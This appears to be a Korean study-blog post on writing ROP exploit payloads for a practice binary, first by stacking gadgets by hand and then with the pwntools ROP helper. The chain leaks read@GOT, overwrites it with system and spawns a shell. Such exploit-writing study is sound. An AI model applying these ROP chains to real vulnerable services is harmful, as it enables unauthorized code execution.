lazenca techniques를 보던 중 ROP payload 작성 시 좀더 간단히 작성할 수 있는 방법을 찾았다.
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
기존에 작성하던 방법은 gadget과 들어갈 인자들을 하나하나 더해가며 넣어주는 방식으로 페이로드를 작성하였다.
pwntools 에서 제공하는 ROP 기능중에 조금 더 편하게 ROP 체인을 만들 수 있도록 하는 기능이 있었다.
다음과 같이 작성한다.
from pwn import *
binary = ELF('./rop')
context.binary = binary
p = process()
rop = ROP(binary)
read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']
read_system_offset = libc.symbols['read'] - libc.symbols['system']
writableArea = 0x0804a050
#Address info
log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Writeable area : " + str(writableArea))
#ROP Code
rop.read(0,writableArea,len(str(binsh)))
rop.write(1,read_got,4)
rop.read(0,read_got,len(str(read_got)))
rop.raw(read_plt)
rop.raw(0xaaaabbbb)
rop.raw(writableArea)
payload = "A"*62 + str(rop)
ROP 코드를 작성해 준 후에는 ret까지의 dummy bytes + str(rop)를 통해 payload를 구성해준다.
함수에 인자를 전달할 때 아주 편하게 작성이 가능하다. 인자를 전달하지 않고 단순 호출이나 데이터 입력의 경우 rop.raw()를 이용한다.
해당 ROP 페이로드 send 이후 read과정에서 다른 ROP 코드의 작성이 필요한 경우 rop = ROP(binary)를 통해 초기화 해준 후
작성해주면 된다.
++ pop rdx ; ret 같은 가젯은 바이너리에서 찾기 힘든데, 이럴 때 libc_base주소를 leak하여 알아낼 수 있으면,
gadget을 libc내에서 찾아서 libc_base에 offset 을 더해서 ROP chain에 사용할 수 있다!!
'PWN > 개념' 카테고리의 다른 글
| Format String Bug - AAW시 스택 값 사용 (1) | 2025.08.22 |
|---|---|
| ROP에서 dup2를 이용한 리버스쉘 (0) | 2025.08.20 |
| Format String Bug(FSB) 취약점 (1) | 2025.07.27 |
| Double Free Bug(DFB) 취약점 (2) | 2025.07.26 |
| Use After Free(UAF) 취약점 (2) | 2025.07.25 |